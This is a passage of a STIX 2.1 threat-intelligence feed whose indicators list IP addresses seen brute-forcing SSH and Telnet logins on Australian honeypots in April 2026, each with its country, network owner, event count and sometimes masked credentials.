      "pattern": "[ipv4-addr:value = '160.20.182.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--17f97ad9-8366-4439-917e-3417f639d424",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.137.137.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2edb8226-bfe7-4e23-ab19-c237020ba2c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--3ccb657d-0654-4a91-aa62-dafe3a3f115e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.225.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 9205. Organisation(s): SATELIT SERVIS Ltd.",
      "id": "indicator--1b0e89ae-a605-4be5-9901-799e9e09f652",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.76.244.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--f66c0952-fea6-4692-8ce4-8f8b09059265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, i******1. Passwords observed (masked): 3***********4, 3**********4, 9*********7, A******8, A*******1.",
      "id": "indicator--e36e18b2-7f67-42ab-b3ae-22419cd79583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.244.204.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******C, 1*********y, 1*******6, 1*******r, 1****e.",
      "id": "indicator--3b7b6bf7-37ac-4a69-b6f2-aa10e796f17a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.20.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--f89cd6f4-6878-4282-b86f-df70d8ed9bbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.8.34.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--b7e5e3f8-82e8-4252-8897-a7568176704d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.23.246.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 62246. Organisation(s): WJY Limited. Usernames observed (masked): . Passwords observed (masked): **.",
      "id": "indicator--49c03d00-d42a-4c3c-9d8d-2d523d1bba0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.188.199.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--3c2f3230-3ece-412e-ba8c-e7fde682e96a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.225.243.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--7ca48261-da91-4adc-a1bb-12cec3dd310a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.40.102.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--40fb137d-8bea-4d89-8ff1-a33f1cda3347",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.239.4.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): q*****3.",
      "id": "indicator--8945dbbd-ab2c-43e9-a1d1-ee0f0a24dcd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.76.136.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T02:16:51.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t. Passwords observed (masked): P*******!, p********!.",
      "id": "indicator--8f908d02-8496-43e8-8007-1989d2d88b2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T02:16:51.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.71.54.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T02:16:51.000Z",
      "valid_until": "2026-05-30T02:15:09.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--c1c22ebd-8d12-455d-afbf-b54d6cae847a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52613. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--c4791d95-b5e6-4d22-b7ab-1b460d710b1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.0.57.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30036. Organisation(s): Mediacom Communications Corp.",
      "id": "indicator--f087ccd3-bd63-4631-b386-cdf3c3823561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.20.164.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--33dd7446-ef4e-41fd-b583-cb5615097c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.181.177.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--a32a7e40-2b27-4f6d-bccf-ad9bb2ee1a7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1231a58a-aab9-445f-a22c-7820fd1b019c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.169.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--31f95f15-29f4-44d0-bf09-26e0f45352f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.52.142.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--539d0cc0-5824-40c5-b613-0b7e2b2a899d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.77.233.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 15377. Organisation(s): Traditional LLC.",
      "id": "indicator--93bba073-3cc2-4250-b479-a960b590ed6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.98.156.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA.",
      "id": "indicator--c89d5645-e384-4e61-89ae-d5fe93d416fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.80.147.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--9fbdfdbc-88d8-40d7-a5d6-5b691ff7ed7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.238.107.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 812. Organisation(s): Rogers Communications Canada Inc..",
      "id": "indicator--f71bdcd2-93e2-4de3-9689-fae2b6e0c779",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '99.233.216.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:15:06.000Z",
      "valid_until": "2026-05-30T03:15:03.000Z"
    },
    {
      "created": "2026-04-28T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28146. Organisation(s): MHNET TELECOM.",
      "id": "indicator--b4cf58e6-e06b-4170-8478-6a361afc7fff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.125.36.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:15:10.000Z",
      "valid_until": "2026-05-30T04:15:08.000Z"
    },
    {
      "created": "2026-04-28T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--66e84d9a-dbe2-4656-8199-dcebae1251cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.228.86.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:15:10.000Z",
      "valid_until": "2026-05-30T04:15:08.000Z"
    },
    {
      "created": "2026-04-28T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--486fcf90-a763-4943-8b50-48f8f1677195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.151.113.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:15:10.000Z",
      "valid_until": "2026-05-30T04:15:08.000Z"
    },
    {
      "created": "2026-04-28T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 3737. Organisation(s): PenTeleData Inc..",
      "id": "indicator--6001c78e-40fd-4a2f-b146-3ebd37a9b866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.67.11.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:15:10.000Z",
      "valid_until": "2026-05-30T04:15:08.000Z"
    },
    {
      "created": "2026-04-28T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 42501. Organisation(s): Information Technologies private company.",
      "id": "indicator--202cedd4-fc29-4c8f-91ad-052490be37b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.192.181.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:15:10.000Z",
      "valid_until": "2026-05-30T04:15:08.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8c94102a-7449-41dc-8df4-67c0c74a358b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.243.157.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--212e4b9e-7959-49fb-9fa8-3b4d1ae64c05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.149.37.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A..",
      "id": "indicator--f92e131a-6b99-4813-afec-08bdbd0ba596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.50.102.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--357ad1b1-9191-4a25-9042-042e6e019d12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.114.198.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
